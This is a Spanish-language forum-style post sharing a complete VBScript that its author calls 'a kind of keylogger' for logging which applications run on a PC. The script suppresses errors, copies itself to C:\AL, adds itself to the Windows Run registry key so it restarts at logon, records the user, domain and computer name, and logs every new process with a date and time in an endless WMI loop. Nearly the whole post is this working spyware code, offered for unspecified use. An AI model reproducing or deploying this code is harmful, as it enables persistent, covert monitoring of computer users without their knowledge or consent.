Aqui te traigo traigo un script q yo mismo acabo de crear sirve para ver que aplicaciones se ejecutan en tu PC es una especie de keylogger pero en este caso no guarda las teclas pulsadas lo que guarda es las aplicaciones que se ejecutan el log se guardara en el disco duro en una carpeta llamada ALV
Al ejecutar el script creara esa carpeta el script se copiara ahi se agregara al registro
Aqui les dejo el codigo
'VBScript By KsV
On Error Resume Next
Set ws = WScript.CreateObject("Wscript.Shell")
Set fso = createobject("scripting.filesystemobject")
If fso.FileExists("c:\AL\Log.txt") Then
Call mon()
Else
ws.run "cmd /c MKDIR c:\AL\",0
wscript.sleep 2000
fso.copyfile Wscript.ScriptFullName,"C:\AL\Apploger.vbs"
ddd = "C:\AL\AppLoger.vbs"
ws.RegWrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Apploger",ddd
Set at = fso.createtextfile("C:\AL\Log.txt",true)
at.WriteLine ".:: Log De Las Aplicaciones Que Se Ejecutan::."
Set objnet = createobject("wscript.network")
at.WriteLine "///////////////////////////////////////////"
at.WriteLine "Nombre De Usuario:: "& objnet.username
at.WriteLine "Dominio: "& objnet.userdomain
at.WriteLine "Nombre De La PC: "& objnet.ComputerName
at.WriteLine "///////////////////////////////////////////"
at.WriteBlankLines(1)
at.close
Call mon()
End If
Sub mon()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonitoredProcesses = objWMIService. _
ExecNotificationQuery("select * from __instancecreationevent " _
& " within 1 where TargetInstance isa 'Win32_Process'")
i = 0
Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
a = objLatestProcess.TargetInstance.name
Set ab = fso.opentextfile("C:\AL\Log.txt",8,true)
ab.WriteLine ".::Fecha:: "&Date ()&" Hora:: "&Time ()&" ::."
ab.writeline a
ab.WriteBlankLines(1)
ab.WriteLine "=========================================="
ab.close
Loop
End Sub
Espero q te sirva .Algun uso le encontraras